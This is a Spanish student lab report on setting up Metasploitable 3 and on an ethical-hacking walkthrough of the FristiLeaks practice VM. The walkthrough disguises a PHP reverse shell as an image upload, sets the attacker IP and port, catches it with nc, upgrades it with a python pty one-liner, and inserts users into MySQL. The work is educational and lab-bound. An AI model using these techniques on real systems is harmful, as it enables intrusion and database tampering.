• Configuración flexible de recursos (memoria, CPU, almacenamiento). 

• Compatibilidad con imágenes ISO, instantáneas del sistema, carpetas 

compartidas, USB y red virtual. 

• Comunidad activa y documentación abundante 

VirtualBox se destaca por ser gratuito, multiplataforma y fácil de usar, lo que lo convierte 

en una herramienta educativa ideal para prácticas de sistemas operativos, redes y seguridad 

informática (Oracle, 2024). 

  



 

4.7. Paso 2: Descargamos Vagrant 

Para descargar Vagrant lo primero que hacemos es ingresar al siguiente enlace  o en su 

efecto buscamos la página oficial en nuestro navegador  

https://developer.hashicorp.com/vagrant/install#windows lo que nos abrirá la siguiente página. 

 

Figura  85.Vista de la Página de Vagrant 

Luego de estar en la sección que se mostró anteriormente elegiremos el sistema en donde 

descargaremos este software (flecha negra) y luego se descargara según el procesador de nuestro 

pc  que puede ser Intel (cuatro verdes) o AMD (cuatro azules)  en mi caso tengo un procesador 

AMD por lo es obvio saber mi elección. 

 

Figura  86. Descarga de Vargrant 

https://developer.hashicorp.com/vagrant/install#windows


 

La figura 6 (Ver figura 6)  muestra cómo se está descarando nuestra aplicación 

 

Figura  87. Ejecutamos el Setup Descargado 

Luego de que se termine de descargar el setup que descargamos o lo ejecutamos para 

empezar la instalación de este software. 

 

 

Figura  88. Esperamos a Que se Prepare la Guía de Instalación 



 

Aquí debemos esperar que se nos indique como debemos proceder para descargar este 

software.  

 

Figura  89. Seguimos la guía de Instalación para Vagrant 

A continuación, se sigue la guía de instalación para Vagrant, esto puede tardar algunos 

minutos. Aquí le damos aceptamos los términos y condiciones  (Recomiendo siempre leer estos 

términos) y le damos instalar 

 

Figura  90. Esperamos Que Termine la Instalación 

Aquí ya nos queda esperar que termine la instalación sin dejar de estar pendientes a 

cualquier permiso que se nos solicite. 



 

 

Figura  91. Finaliza la instalación de Vagrant 

Luego de que finalice esta instalación y le demos en el botón finish se nos reiniciara el pc 

y todo quedara listo. 

 

Figura  92. Vagrant Instalado 

En esta imagen se muestra como a app ya está instalada en nuestro pc y procedemos a 

realizar el siguiente paso. 

  



 

4.8. Paso 3: Descargamos el repositorio para Metasploitable 3 

Para el 3 paso lo que hacemos es ir al enlace del repositorio de GitHub de donde 

descargaremos Metasploitable 3. El enlace del que lo bajaremos se presenta a continuación. 

https://github.com/rapid7/metasploitable3 

 

Figura  93. Vista Del Repositorio 

De este repositorio lo que realmente necesitamos son los comando que encontraremos 

aquí, para visualizar esos comandos bajamos un poco y luego realizamos lo que se explicara a 

continuación.  

 

Figura  94. Comandos Necesarios Para Descargar Metasplo 

https://github.com/rapid7/metasploitable3


 

Como vamos a utilizar algunos comados que se muestran aquí necesitamos abrir una 

consola de comandos o cmd 

 

Figura  95. Se Abre el Cmd 

Para abril el cmd o la consola de símbolos del sistema lo primero que hacemos es ir al 

menú de aplicaciones de Windows y escribir Cmd o símbolos del sistema. Otra opción seria 

utilizar el comando Windows R y en el ejecutar escribimos cmd, para mi caso lo abri desde el 

menú por que necesitaba ejecutarlo como administrador.  

 

Figura  96. Cmd Abierto 

Si ya estamos adentro de la consola cmd, lo siguiente será ejecutar el comando cd..  

comando utilizado para salirnos de la carpeta system32 hacemos esto hasta que lleguemos a la 

carpeta raíz C:/  



 

 

Figura  97. Llegamos a la Carpeta Raíz Usando CD.. 

Cuando estemos en la carpeta raíz, ingresamos el comando mkdir metasploitable3-

workspace este comando nos permite crear una carpeta de nombre: metasploitable3-

workspace, en nuestra carpera raíz 

 

Figura  98. Comandos Mkdir Insertado 

Si observan ya ingresamos el comando, las siguientes 2 imágenes que se muestran a 

continuación muestran como fue el antes y después de la creación de la carpeta 

 

 

 



 

 

Aquí  podemos ver como luego de usar el comando dado anteriormente se crea una 

carpeta llamada metasploitable3-workspace, en nuestra carpera raíz 

 

Figura  101. Ingresamos a la Carpeta Usando el Comando CD junto al Nombre de la Carpeta 

Figura  99. Antes del MKDIR 
Figura  100. Después del MKDIR 



 

Después ingresamos el comando cd  metasploitable3-workspace ( fecha azul) esto lo 

hacemos para verificar que efectivamente si se haya creado la carpeta con ese nombre, luego de 

esto lo que haremos es abrir una sección en la consola de PowerShell 

 

Figura  102. Abrimos la Consola de PowerShell 

Para abrir la consola mencionada anteriormente volvemos a abrir el menú de aplicaciones 

de Windows y buscamos PowerShell, luego la ejecutamos como administrador y nos saldrá esta 

ventana. 

 

Figura  103. Consola de PowerShell 

Luego de que entremos a nuestra consola debemos regresar a la la raíz como hicimos en 

el cmd, esto lo hacemos usando el comando cd.. 



 

 

Figura  104. Aplicamos Los Comandos Para Descargar Metasp 

Aquí luego de volver a la carpeta raíz con el comando cd.. (flechas azules) ingresamos a 

la carpeta de nombre metasploitable3-workspace  (flecha naranja) cuando ingresemos aquí lo 

siguiente será escribir el comando: 

Invoke-

WebRequestUri"https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagran

tfile" -OutFile "Vagrantfile" 

Por último, ingresamos el comando vagrant up ( flecha verde)  este comando es 

importante por que permite inicializar la descarga de metasploitable.  

 

Figura  105. Se visibiliza la Descarga 



 

Después de terminar la descarga nos saldrán 2 maquinas virtuales, una de Ubuntu y otra 

de Windows, estas máquinas nos permitirán hacer nuestras practicas aquí. 

 

Figura  106. se Visualizan las Maquinas en VirtualBox 

Ya llegado a este punto podemos ver como nuestras máquinas virtuales están en virtual 

box. Los datos de ingreso usuario y contraseña de nuestras máquinas virtuales son: 

Usuario: vagrant 

Contraseña: vagrant 

 

 



 

Verificación de la Instalación.  

Probamos que lo hecho funcione arrancando las maquinas. 

 

Figura  107. Arrancamos la Máquina Virtual de Windows Server 2008. 

Para probar que lo hecho si funciona arrancamos las dos máquinas, en este caso se 

arranca la máquina de Windows  server 2008. 

 

Figura  108. Arranque de Ubuntu 

Aquí luego arrancamos la máquina virtual de Ubuntu en este caso si iniciamos sección  

en Ubuntu servidor. Así termina manual.  



 

4.9. Conclusión 

La correcta descarga e instalación de Metasploit 3 constituye el primer paso para el 

desarrollo de prácticas en seguridad informática dentro de un entorno controlado y académico. A 

través de este manual  ofrecemos una guía clara y estructurada que facilita al estudiante la 

preparación de su equipo de trabajo, garantizando que cuente con todos los elementos necesarios 

para ejecutar la herramienta de forma adecuada. 

El proceso descrito permite comprender la importancia de seguir una metodología 

ordenada, desde la verificación de los requisitos previos hasta la comprobación final de la 

instalación, evitando errores comunes que suelen dificultar el aprendizaje inicial. 

De esta manera, el manual no solo asegura que Metasploit quede operativo, sino que 

también promueve el uso responsable y ético de la herramienta, resaltando que su aplicación 

debe limitarse a contextos académicos y de investigación, siempre con el fin de fortalecer las 

competencias técnicas en auditoría y pruebas de penetración. 

En conclusión, el documento cumple con el propósito de servir como apoyo práctico para 

quienes inician en el estudio de la ciberseguridad ofensiva, brindando un punto de partida sólido 

para posteriores ejercicios de exploración y explotación en entornos virtualizados.  

  



 

5. Capítulo 5. Vulneracion  Ética de una página web alojada en FristiLeaks desde Kali 

Linux 

5.1. Introducción 

En este capítulo  se recoge  de forma organizada el paso a paso la práctica realizada 

dentro del laboratorio de auditoría de redes, donde el reto principal fue trabajar con la máquina 

vulnerable FristiLeaks y aplicar diferentes técnicas de hacking ético. Todo el proceso se llevó a 

cabo en un entorno controlado de máquinas virtuales, utilizando VirtualBox para simular tanto la 

máquina víctima como la máquina atacante. De esta manera, se pudo experimentar de manera 

segura con configuraciones de red, pruebas de vulnerabilidad y explotación de servicios. 

La primera parte de la práctica consistió en configurar la red con NAT y modificar la 

dirección MAC de Edubuntu, con el fin de garantizar que la máquina trabajara únicamente con 

una dirección fija y que la conectividad quedara bajo control. Este paso inicial fue importante 

porque sirvió de base para que después todo funcionara correctamente entre las máquinas 

virtuales y se pudiera realizar la conexión hacia el servidor víctima. 

Posteriormente se hizo un reconocimiento de la red empleando herramientas como Nmap, 

que permitieron descubrir los servicios activos y versiones en ejecución dentro del segmento 

configurado. A partir de ahí se localizaron puertos abiertos y se identificó el servidor web 

vulnerable. Con ayuda de Dirb, se exploraron directorios ocultos y se detectaron rutas que más 

adelante servirían como puerta de entrada. 

La parte más interesante vino cuando se trabajó con la subida de archivos maliciosos. Se 

preparó un archivo de tipo reverse shell en PHP, disfrazado con extensión de imagen, para 

aprovechar la vulnerabilidad en el sistema de carga del sitio. Al lograr subir y ejecutar este 



 

archivo, se estableció una conexión inversa que dio acceso remoto al servidor FristiLeaks, 

abriendo así la posibilidad de navegar por sus directorios y explorar archivos sensibles. 

Finalmente, se consiguió ingresar a la base de datos MySQL del sistema, utilizando 

credenciales descubiertas en el proceso. Una vez dentro, se identificó la base de datos de la 

aplicación web y se manipuló la tabla members, insertando nuevos usuarios de prueba. Para 

verificar el éxito del procedimiento, se probaron las cuentas creadas en el portal de FristiLeaks y 

efectivamente funcionaron, confirmando que se había logrado el objetivo de comprometer el 

sistema y tomar control sobre los registros de usuario. 

  



 

5.2. Alcance 

El informe abarca un período de trabajo de 4 días, comprendido entre el jueves 4 de 

agosto de 2025 y el martes 9 de agosto de 2025, fecha en la cual se dio por concluido el proceso 

de prácticas. Durante este tiempo se llevó a cabo la configuración inicial de las máquinas 

virtuales en VirtualBox, se realizaron las pruebas de conectividad y escaneo de servicios, y se 

desarrollaron ejercicios de explotación controlada sobre la máquina vulnerable FristiLeaks. 

Además, se recopilaron evidencias en forma de capturas de pantalla, salidas de comandos y 

fragmentos de configuraciones, con el objetivo de documentar de manera clara cada paso del 

procedimiento. Además de esto, toda la información obtenida fue organizada en este informe, 

con el propósito de dejar constancia del trabajo realizado y servir como material de consulta y 

estudio en futuras evaluaciones académicas. 



 

5.3. Objetivos 

5.3.1 General  

. aplicar técnicas de auditoría de seguridad en entornos virtualizados mediante la 

configuración de red, el uso de comandos en Kali Linux y la explotación controlada de 

vulnerabilidades en la plataforma FristiLeaks, con el fin de comprender los riesgos asociados y 

comprobar métodos de acceso y manipulación de datos en sistemas vulnerables. 

5.3.2 Específicos  

• Configurar la red en entornos virtualizados (VirtualBox con NAT) y asignar direcciones 

MAC fijas, garantizando conectividad controlada entre la máquina atacante y la máquina 

víctima. 

• Identificar y escanear servicios activos en la red con Nmap, reconociendo puertos 

abiertos y posibles puntos de acceso en el servidor vulnerable. 

• Subir y ejecutar una reverse shell en PHP disfrazada como archivo de imagen, 

estableciendo comunicación remota con el sistema víctima. 

• Acceder al sistema de gestión de bases de datos MySQL y manipular la información en la 

tabla members, logrando crear usuarios válidos y comprobar su acceso al portal web. 

  



 

5.4. Planteamiento Del Problema 

En la actualidad, los sistemas informáticos y las aplicaciones web se enfrentan 

constantemente a intentos de intrusión que buscan aprovechar fallos de seguridad para acceder 

de manera no autorizada a información sensible. Muchas organizaciones, por desconocimiento o 

descuido, mantienen servidores y aplicaciones con vulnerabilidades que pueden ser explotadas 

fácilmente mediante técnicas conocidas y al alcance de cualquier atacante con conocimientos 

básicos. 

Uno de los principales retos en el ámbito de la seguridad informática es la falta de 

experiencia práctica de los estudiantes y profesionales en el manejo de herramientas de auditoría, 

pruebas de penetración y explotación de vulnerabilidades. Si bien existen teorías y marcos 

conceptuales que explican los riesgos, solo mediante la experimentación en entornos controlados 

es posible comprender realmente cómo operan los ataques, cuáles son las fases que los 

componen y qué consecuencias pueden tener. 

El problema radica en que, sin un acercamiento práctico, los futuros profesionales de la 

informática carecen de la capacidad de identificar, prevenir y mitigar riesgos reales en sistemas 

expuestos a internet. De allí surge la necesidad de desarrollar prácticas con máquinas vulnerables 

como FristiLeaks, que permiten simular de manera ética y segura escenarios de intrusión. 

En este contexto, el presente trabajo busca dar respuesta a la siguiente pregunta central: 

¿Cómo aplicar herramientas y técnicas de auditoría informática en un entorno virtualizado 

controlado, para comprender el proceso de explotación de vulnerabilidades en aplicaciones web 

y bases de datos? 

  



 

5.5. Subcapítulo 1: Cambio y Asignación de Dirección MAC en Edubuntu Para la 

Virtualización con NAT 

Para poder realizar el cambio y asignación  de mi dirección mac y que solo entregue una 

ip dhcp o desde una red NAT lo primero que hacemos es ingresar nuestro virtualbox de la 

siguiente manera. 

 

Figura  109. Visualización Virtualbox 

Estand en este apartado, seleccionamos nuestra maquina (en este caso será Edubuntu ) en 

la que queremos hacer esto, pero en vez de arrancarla como normalmente hacemos, lo que 

realizaremos es ir la configuración (Flecha Azul)  

 

Figura  110. Visualización de la Configuración de Edubuntu 



 

Lo siguiente que se debe hacer es ingresar al apartado de red, como se muestra en la 

imagen anterior, estando allí lo primero que hacemos es cambiar dirección Mac 080027FDDA82   

(rectángulo negro ) que este caso sería la que tiene por defecto esta máquina.  

 

Figura  111. Mac por defecto de la Máquina. 

Lugo lo que hacemos es cambiar esa Mac por defecto, por otra Mac fija de nuestra 

preferencia. La nueva Mac que se asigno fue 08:00:27:AA:BB:CC  (rectángulo negro) al  

configura esta Mac de forma física, Lo que se hace es evitar que el usuario pueda cambiar la Mac 

de forma manual desde edubuntu y si llega a hacerlo no podrá navegar en internet. 

 

Figura  112. Establecimiento de Una Nueva Mac fija 



 

 

Cuando luego de darle clic en aceptar iniciamos nuestra maquina nuestra máquina,  para 

esto le damos clic en iniciar ( flecha naranjada)   

 

Figura  113. Iniciamos Nuestra Máquina Virtual En Edubuntu 



 

Al iniciar nuestra máquina virtual previamente configurada en VirtualBox , para 

loguearnos utilizamos la contraseña Victor123.   

 

Figura  114. Hacemos la Prueba Con la Mac Que Agregamos 

Para probar que la configuración hecha funciona vamos a nuestro navegador dentro de 

nuestra máquina virtual y buscamos una página cualquiera en este caso busqué YouTube, Otra 

opción de verificar que nuestra máquina está funcionando o la configuración esté funcionando es 

abrir la consola de nuestra distribución y mandar un pin A Google con el comando ping 8. 8. 8. 8 

con esto deberá salir lo siguiente. 

 



 

Lo que hicimos aquí fue probar el ping y como Como era evidente nos da pin de forma 

correcta lo que haremos a continuación será cambiar la Mac de forma manual desde la consola 

de edubuntu, esto nos permitirá ver si al cambiarla podemos navegar a internet común y corriente 

de poderse hacer quiere decir que nuestra configuración no fue correcta y la Mac permanente que 

pusimos no está funcionando. 

5.5.1   Prueba de Que la Configuración Hecha Funciona Correctamente. 

Para confirmar que el cambio de dirección MAC en Edubuntu  si funciono, y se nos 

permite navegar con la  Mac fija se logra cambiando la mac desde Ubuntu. Lo primro que se 

hizo fue  ingresar al modo super usuario, luego apagar la interfaz de red usando el comando sudo 

ip link set dev enp0s3 down, luego asignamos una nueva dirección física  con el comando sudo 

ip link set dev enp0s3 address 00:11:22:33:44:55 por último reactivamos la interfaz con el 

comando ip link set dev up . En Edubuntu sobre VirtualBox, al modificar la MAC manualmente 

y no coincidir con la configurada en el hipervisor, la conexión NAT se interrumpe, impidiendo el 

acceso a internet. 

 

Figura  115. Comandos Realizados en la Prueba en su Respectivo Orden 



 

Después de ingresar los comandos, volvemos a darle ping a Google, pero si notamos bien 

no se nos permitió salir a internet ya que no se reconoce esa dirección que estamos utilizando. 

Luego de la prueba, se realizó el cambio de la Mac por la que configuramos previamente 

como Mac fija, por lo que no explicar de nuevo ese paso a paso por que s lo mismo que explique 

anteriormente.  

 

Figura  116. Cambio de la Mac incorrecta Por la Correcta 

Al cambiar los datos y dar ping de nuevo a Google Google se evidenciará que todo 

funciona de forma correcta.  



 

5.6. Subcapítulo 2:  Comandos en Linux Para Calcular la Cantidad de Caracteres en un 

Archivo 

 Según  (IONOS, 2023a) El comando de Linux wc es aquel que nos  permite conocer la 

cantidad de líneas, palabras y caracteres contenidos en un archivo. Además, puede aplicarse a 

varios documentos de forma simultánea, mostrando los resultados individuales y el total 

acumulado.  

5.6.1  ¿Cómo funciona el comando wc? 

(IONOS, 2023b) piensa que  el comando wc en Linux funciona de manera sencilla. Por 

defecto muestra en la terminal el número de líneas, palabras y caracteres de un archivo, aunque 

también es posible especificar opciones para ver solo un parámetro. Asimismo, puede aplicarse a 

varios ficheros a la vez, entregando los resultados individuales de cada uno y la suma total de 

líneas, palabras y caracteres. Pero a su vez (IBM, 2023) nos dique que El comando wc se utiliza 

para contar el número de líneas, palabras y bytes en los archivos indicados mediante el parámetro 

archivo. 

Si no se especifica un archivo, el comando toma como entrada la entrada estándar. Los 

resultados se muestran en la salida estándar, junto con un recuento total cuando se trabajan con 

varios archivos. Si se emplean banderas, el orden de estas determina la forma en que se presenta 

la salida. Una palabra se define como una cadena de caracteres delimitada por espacios, 

tabulaciones o saltos de línea y cuando se especifican archivos en la línea de comandos, sus 

nombres aparecen junto a los valores obtenidos. 

5.6.2 Ejemplo, opciones  de comando y  su uso 

Las opciones de comando que encontramos las mostraremos a continuación junto con un 

ejemplo de cómo se aplicarían al hacer una práctica tal cual como lo verán a continuación.  



 

Tabla 6. Ejemplo, opciones  de comando y  su uso 

Opción Descripción Ejemplo 

-c Muestra el número de bytes del archivo wc -c ejemplo.txt 

-l Muestra el número de líneas wc -l ejemplo.txt 

-m Muestra el número de caracteres wc -m ejemplo.txt 

-w Muestra el número de palabras wc -w ejemplo.txt 

-L Longitud de la línea más larga del archivo wc -L ejemplo.txt 

 

  



 

5.7. Subcapítulo 3: Creación de Usuarios en la Máquina Fristileaks 

El jueves cuatro del mes en curso en la clase de auditoría de redes, realizamos una 

laboratorio de hacking ético en donde vulneramos una página web por defecto de  Fristileaks, 

este capítulo del informe lo dedicaremos específicamente a replicar dicho laboratorio 

entendiendo que se descartar algunas cosas hechas en clase. 

5.7.1  Configuración de Fristileaks 

Para este paso lo que se hizo fue instalar el archivo punto evo contenedor de una máquina 

virtual bastante necesaria para esta práctica, lo que se hizo fue ingresar a nuestra VirtualBox, 

ingresamos en la configuración de red y cambiamos el conectado a Red NAT, luego cambiamos 

la dirección Mac por la que nos dio el profe. Tal como se ve en la imagen. 

 

Figura  117. Configuraciones Previas a Nuestro Laboratorio 

Luego de este proceso encendimos nuestra máquina de Fristileaks y revisamos que ya nos 

estuviera dando una dirección ip del segmento Red NAT configurado. 

 



 

t  

Figura  118. Dirección Obtenida En Fristileaks 

Después de obtenida la dirección abrimos nuestro Kali Linux e hicimos el siguiente 

proceso, se   realizo un escaneo de dirección ip con nmap -Sv  a la dirección ip 192.1.1.0/24, 

esto nos permitiría obtener una lista de direcciones conectadas a este segmento de red y algunos 

de sus  versiones. 

 

Figura  119. Escaneo de red Con  Nmap -sV 



 

 

Figura  120.1 Escaneo de red Con  Nmap -sV 

Luego de indagar que en la ip 192.1.1.12  estaba corriendo el servicio apache en su 

puerto predeterminado, abrimos una el navegador de Kali e ingresamos en la barra de búsqueda 

la ip antes mencionada.  

 

Figura  121. Visualización de la Página por Defecto De Apache. 

Luego revisamos el código fuente a ver si encontrábamos algún dato filtrado y al no 

hallar ninguno se procedió a copiar la url para realizar un mapeo de subdominios que permitirá 

encontrar aun dado importante dentro de los posibles sub dominios que encontráramos. 



 

 

Figura  122. Revisión Del Código Fuente y Copia de la Url Para su Escaneo 

Después de que se copió la ruta, fuimos a escanear a ver si existía algún subdomido en 

esa ip o url para mirar cuantos directorios ocultos pudiese haber para ello lo que hicimos fue 

emplear diccionario llamado dirb. 

 

Figura  123. Revisión de Diccionario Dirb 

 Después de ejecutar dirb para identificar directorios en el servidor, procedimos a realizar 

la revisión de  algunas presentes en la librería estas listas de palabras que incluye la herramienta 



 

en la ruta /usr/share/dirb/wordlists.  Que son diccionarios que el docente decía que nos servían 

para realizar un sinfín de hackeos y que incluso podríamos realizar nuestros propios diccionarios 

ya que algunos como common.txt. contenían palabras comunes en utilizadas en los directorios.  

 

Figura  124. Ingresamos a Una de Las Rutas Encontradas en el Escaneo 

Al intentar ingresar de forma directa a la ruta que nos encontremos lo que nos mostró que 

no teníamos el permiso para poder ingresa a este sitio por lo que se procedió a escáner esta nueva 

ruta para ver que otras rutas se podrán encontrar y de nuevo nos encontramos con una ruta vacía 

 

Figura  125.Escaneo de la Nueva Ruta 

  



 

Se procedió entonces a hacer un mapeo a la ruta anterior, pero con un nuevo directorio 

llamado imagen, que no arrojo nada.  

 

Figura  126. Escaneo e la ruta imagen 

Lo que posterior mente se hizo fue abrir  la ruta para comprobar que existiese algún 

archivo dentro de es ruta, esto derivo en que efectivamente existían dos imágenes en dicha ruta. 

 

Figura  127. Archivos Encontrados. 



 

 

Figura  128. Revisión la Imagen 1 de Los Archivos.  

 

Figura  129. Revisión la Imagen 2  de Los Archivos. 

Al revisar estas imágenes no encontramos nada interesante por lo precedí a intentar abrir  

la ruta http:192.1.1.12/fristi 



 

 

Figura  130. Revisión de la ruta http:192.1.1.12/fristi 

Esta ruta nos mostró un login del cual no teníamos ni usuario ni contraseña, lo que nos 

llevó a intentar conseguir ese usuario y la contraseña necesaria, lo primero que se hizo aquí fue 

inspeccionar el Código fuente.  

 

Figura  131. Inspección de la ruta antes mencionada 



 

En esta inspección si tuvimos éxito que encontramos más datos, ejemplo de ello es que en 

uno de los comentarios que estaba en el Código fuente encontramos el usuario los datos 

encontrados los pegamos en un blog de nota. 

 

Figura  132. Imagen Codificada  

Aquí nos encontramos una imagen codificada que posiblemente podría contener los datos 

de usuario  contraseña así que lo que se hizo fue intentar encontrar en que formato estaba ya que 

el texto estaba en formato base 64 y que contenía, debido hace procedimos a buscar las páginas 

necesarias. Para resumir, luego de probar convertirla de a pnj descubrimos que dicha imagen 

estaba en formato png.  

 

Figura  133. Convertimos de  PNG 



 

Aquí ya habíamos encontrado el usuario y la contraseña, lo siguiente fue devolvernos a la 

ruta http:192.1.1.12/fristi y revisar si esta si era las credenciales.  

 

Figura  134. Credenciales Probadas. 

 

Figura  135. Ingreso Con Dichas Credenciales Exitoso 

Al intentar ingresar con dichas credenciales nos encontramos con que, si eran las 

credenciales correctas, entonces le dimos clic subir archivos y nos llevo a la siguiente pagina

 

Figura  136. Sección Para Cargar Archivos 

La página nos mandó a una sección donde podíamos cargar una, el docente Rafael S 

Morales nos Explicó con un ejemplo que en clase que en dicha página no podíamos subir 



 

imágenes en un formato que no fuese de imagen, el ejemplo consistió en subir cualquier archivo 

que no estuviera en ese formato a ver qué pasaba y lo que paso fue esto. 

 

 

Figura  137. Intento de Subir un Archivo en un Formato Distinto 

 

Figura  138. Mensaje Obtenido. 

Lo que obtuvimos fue un mensaje de denegación en donde nos decías que no era posible 

subir ese formato. 

5.7.2  Procesos Realizados en  Kali Linux Como vulneración Directa 

 

Figura  139.  Buscamos Nuestro Archivo php-Reverse 



 

Para comenzar  este proceso, lo primero que debemos hacer es ingresar al modo super 

usuario, luego de estar aquí ingresamos la ruta /usr/share/webshells/ (flecha azul) , luego de 

realizar  lo que hicimos fue listas con el comando ls (flecha naranja) los archivos presentes en 

esta, utilizando el comando cd php (flecha verde) accedimos a este archivo y listamos de nuevo 

los archivos que tenga este directorio.  

 

Figura  140. Movemos Nuestro Archivo al Escritorio 

Luego de estar en el directorio php y listarlo, movimos el archivo php-Reverse-shell.php  

a nuestro escritorio este archivo nos permite hacer una conexión inversa de maquina a máquina, 

me refiero a que por medio del archivo vamos a poder tener acceso a la otra maquina 

 

Figura  141. Disfrazar La Shell En PHP Como Si Fuera Una Imagen 



 

Aquí copiamos el archivo php-reverse-shell.php y lo guardamos con el nombre 

fotohot.php.png. Esto sirve para disfrazar la shell en PHP como si fuera una imagen, lo cual 

es útil si el sistema víctima solo permite subir imágenes y bloquea archivos Nano 

fotohot.php.png 

 

Figura  142. Contenido de la Reverse Shell 

Con este comando abrimos el archivo fotohot.php.png en el editor de texto Nano. Desde 

aquí podemos modificar el contenido de la reverse Shell, por ejemplo, cambiando la dirección IP 

de nuestra máquina atacante y el puerto en el que escucharemos la conexión. Este paso es clave 

para personalizar el ataque. 

 

Figura  143. Modificación Del Contenido de la Reverse Shell 

Con este comando se abrió el archivo fotohot.php.png en el editor Nano. En su interior se 

encuentra el código de una reverse shell en PHP. Desde este archivo podemos personalizar la 

conexión maliciosa, modificando parámetros como la dirección IP ($ip = '192.1.1.13';) que 



 

corresponde a la máquina atacante y el puerto ($port = 1234;) donde se recibirá la conexión. 

Estas modificaciones son esenciales para que el shell inverso se conecte correctamente a nuestro 

sistema, permitiéndonos obtener acceso remoto al servidor comprometido. 

 

Figura  144. Accedemos a la Página Upload.Php 

En este paso accedemos a la página upload.php del servidor víctima, ubicada en la 

dirección 192.1.1.12/fristi/upload.php. Desde esta interfaz web es posible subir archivos al 

servidor, lo que representa una vulnerabilidad importante. Aquí se aprovecha la opción de carga 

de imágenes para subir nuestro archivo malicioso fotohot.php.png, el cual contiene la reverse 

shell configurada previamente. 

 

Figura  145. do_upload.php  Reemplazamos Por /Uploads 

Una vez cargado el archivo malicioso mediante el formulario de subida, el sistema 

confirma que la operación fue exitosa mostrando el mensaje “The file has been uploaded to 

/uploads”. Esto significa que nuestro archivo fotohot.php.png se encuentra almacenado en el 



 

directorio /uploads del servidor víctima. Luego lo que hicimos fue copia lo que sombreamos con 

azul, borramos del navegador hasta el do_upload.php y reemplazamos por /uploads 

 

Figura  146. Ejecutamos el archivo 

Al intentar acceder directamente al directorio uploads mediante la URL 

192.1.1.12/fristi/uploads/, el servidor responde con el mensaje “no!”. Esto indica que el listado 

de archivos dentro de esa carpeta está restringido, impidiendo ver qué contenido se ha subido. 

Sin embargo, esto no significa que el archivo malicioso no esté allí; si hicimos tod el proceso bin 

aquí ta deberíamos estar dentro de nuestra máquina de fisti, simplemente el directorio no muestra 

un índice navegable. Luego ejecutamos el comando nc -l 1234   donde ingresamos el puerto que 

configuramos en el nano. 

 

Figura  147. Ingreso FristiLeaks 



 

Con  el comando ls -la (flecha naranja)  listamos todos los archivos y carpetas del 

directorio actual, incluyendo los ocultos (los que empiezan con “.”). La opción -la sirve para 

mostrar detalles como permisos, propietario y tamaño de cada archivo. Esto nos ayuda a tener 

una visión completa de qué hay disponible en la carpeta en la que estamos. 

 

Figura  148.Comando  ls -la 

Después utilizamos el comando cd var Aquí nos movemos al directorio /var, que en 

sistemas Linux suele contener datos y archivos relacionados con servicios, como logs o 

contenido de servidores we 



 

 

Figura  149. Accedemos A La Carpeta WWW 

Dentro de /var, accedemos a la carpeta www usando el comando cd www , que 

normalmente es usada por los servidores web para alojar los sitios y aplicaciones que están en 

ejecución.  

 

Figura  150. Entramos en HtmL 

Después entramos en html, que suele ser la carpeta raíz pública del servidor web. Es aquí 

donde se guardan los archivos que los usuarios ven cuando acceden al sitio desde el navegador. 



 

 

Figura  151. Nos Movemos a la Carpeta Fristi 

Nos movemos a la carpeta fristi, que corresponde a la aplicación web FristiLeaks. Este es 

el directorio específico donde se encuentran los archivos PHP y demás recursos que hacen 

funcionar el portal vulnerable. Usamos tambien el comando cat checklogin.php, con este 

comando visualizamos el contenido del archivo checklogin.php, que contiene el código 

encargado de manejar el proceso de inicio de sesión. Revisar este archivo es clave porque nos 

permite entender cómo se validan las credenciales y por qué es posible manipularlas desde la 

base de datos. 

 

python -c 'import pty;pty.spawn("/bin/bash")' 

 



 

 

Este comando se usa para mejorar la shell que tenemos. Muchas veces al obtener acceso 

inicial a un sistema la consola es muy limitada (no soporta atajos, historial, etc.). Con esta 

instrucción en Python, lo que hacemos es “invocar” una shell interactiva completa de bash, lo 

que nos da mucho más control. 

 

Figura  152. Aquí Tratamos de Entrar al Servicio de Mysql Usando el Usuario Eezeepz 

Aquí tratamos de entrar al servicio de MySQL usando el usuario eezeepz. Al usar la 

opción -p, MySQL nos pedirá la contraseña para autenticar.la contraseña se según el cat que 

hicimo era 4ll3maal12#. Como último  paso introducimos la contraseña 4ll3maal12# para el 

usuario eezeepz. Con estas credenciales, si son válidas, logramos acceder al gestor de bases de 

datos y desde ahí manipular directamente la información, como fue el caso de la tabla members. 



 

 

 

Figura  153. Ingresamos  MySQL 

Para iniciar este procedimiento, lo primero que se realizó fue ejecutar el comando show 

databases;, el cual permite visualizar todas las bases de datos disponibles en el servidor 

MySQL. En la imagen se observa cómo el sistema devuelve la lista de bases, entre ellas la 

llamada hackmenow, que será la utilizada en este ejercicio. 

 

Figura  154. Se Ejecutó El Comando Show Database 

Una vez identificada la base de datos, el siguiente paso fue seleccionarla para trabajar 

sobre ella. Para ello se empleó el comando USE hackmenow;, que cambia el contexto actual 



 

hacia dicha base de datos, asegurando que todas las consultas posteriores se realicen en ella,  

Después de ingresar a la base de datos, se ejecutó el comando show tables;, cuyo propósito es 

mostrar las tablas disponibles en hackmenow. En esta captura se aprecia la tabla members, que 

contiene la información de usuarios y contraseñas. 

 

Figura  155. Tabla Obtenida al Ejecutar Show Tables 

Para conocer la estructura interna de la tabla encontrada, se utilizó el comando describe 

members;. Este comando detalla los campos que componen la tabla, mostrando que posee 

columnas como username y password, necesarias para el registro y validación de usuarios. 

 

Figura  156. Conoceremos La Estructura Interna De La Tabla Encontrada Usando El Comando Members 

 



 

 

Figura  157. De Observa el Trabajo Dentro de la Tabla Members y Nuestros Usuarios Registrados. 

En esta captura se observa el trabajo dentro de la tabla members de la base de datos. 

Inicialmente, se ejecutó el comando select * from members; para visualizar los registros 

existentes, mostrando únicamente el usuario eezeepz con su respectiva contraseña cifrada. 

Posteriormente, se insertaron nuevos usuarios utilizando el comando insert into. El 

primer registro añadido fue usuariovictor con la contraseña laboratorio1, seguido de 

usuariomanuel con la contraseña soyelnumero2. Cada inserción fue confirmada con el mensaje  

Finalmente, se volvió a ejecutar select * from members; para verificar los cambios. El 

resultado muestra ahora tres registros en total: el usuario original eezeepz y los dos nuevos 

usuarios creados (usuariovictor y usuariomanuel), confirmando que las operaciones de 

inserción se realizaron correctamente. 

 



 

5.7.3  Verificación Del Registro de los Usuarios  

 

Figura  158. Nos logueamos con el 1 usuario 

En esta captura se ve la página de inicio de sesión del portal de FristiLeaks. Después de 

haber creado al usuario usuariovictor con la contraseña laboratorio1 directamente en la base de 

datos, aquí lo estamos probando en el formulario web. 

Básicamente, lo que se hizo fue usar esas credenciales nuevas en el login y con esto 

comprobar que el truco funcionó: los usuarios que insertamos manualmente en la tabla members 

